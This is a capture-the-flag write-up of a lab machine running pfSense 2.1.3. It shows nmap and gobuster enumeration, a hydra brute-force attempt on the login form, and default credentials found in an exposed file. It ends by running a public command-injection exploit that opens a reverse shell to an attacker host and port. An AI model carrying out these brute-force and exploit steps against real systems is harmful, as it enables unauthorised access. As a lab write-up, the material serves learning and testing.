Sense
Web Enumeration - Abusing PfSense 2.1.3
Scanning
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-28 23:29 EST
Nmap scan report for 10.10.10.60
Host is up (0.034s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
443/tcp open ssl/https?
|_ssl-date: TLS randomness does not represent time
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): OpenBSD 4.X (94%)
OS CPE: cpe:/o:openbsd:openbsd:4.0
Aggressive OS guesses: OpenBSD 4.0 (94%), OpenBSD 4.3 (91%)
No exact OS matches for host (test conditions non-ideal).OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.20 seconds
HTTP Enumeration
Port 80 redirects us to port 443
Googling around for default creds, we get !
Tried the above and few more, but nothing worked !
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.60 https-post-form "/index.php:__csrf_magic=sid%3A44c8728e26d47be027a7a01c98089e974f010329%2C1577594299&usernamefld=^USER^&passwordfld=^PASS^&login=Login:Username or Password incorrect"
And I was blocked :)
We need to more enumeration, so I quickly ran the gobuster
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.10.10.60 -k
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: https://10.10.10.60
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/12/29 00:03:57 Starting gobuster
===============================================================
/themes (Status: 301)
/css (Status: 301)
/includes (Status: 301)
/javascript (Status: 301)
/classes (Status: 301)
/widgets (Status: 301)
/tree (Status: 301)
/shortcuts (Status: 301)
/installer (Status: 301)
/wizards (Status: 301)
/csrf (Status: 301)
/filebrowser (Status: 301)
/%7Echeckout%7E (Status: 403)
===============================================================
2019/12/29 00:30:17 Finished
===============================================================
Nothing useful, searched for some public exploits but all were authenticated
The status_rrd_graph_img.php
looked interesting - But authenticated, again ran gobuster and this time with some extensions
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.10.10.60 -k -x php,txt,conf
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: https://10.10.10.60
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt,conf
[+] Timeout: 10s
===============================================================
2019/12/29 09:28:51 Starting gobuster
===============================================================
/index.php (Status: 200)
/help.php (Status: 200)
/themes (Status: 301)
/stats.php (Status: 200)
/css (Status: 301)
/edit.php (Status: 200)
/includes (Status: 301)
/license.php (Status: 200)
/system.php (Status: 200)
/status.php (Status: 200)
/javascript (Status: 301)
/changelog.txt (Status: 200)
/classes (Status: 301)
/exec.php (Status: 200)
/widgets (Status: 301)
/graph.php (Status: 200)
/tree (Status: 301)
/wizard.php (Status: 200)
/shortcuts (Status: 301)
/pkg.php (Status: 200)
/installer (Status: 301)
/wizards (Status: 301)
/xmlrpc.php (Status: 200)
/reboot.php (Status: 200)
/interfaces.php (Status: 200)
/csrf (Status: 301)
/system-users.txt (Status: 200)
/filebrowser (Status: 301)
/%7Echeckout%7E (Status: 403)
system-users.txt
stood outside the box :)
rohit : pfsense
We can now try that command injection vulnerability !
searchsploit -m 43560.py
python3 43560.py --rhost 10.10.10.60 --lhost 10.10.14.12 --lport 1234 --username rohit --password pfsense
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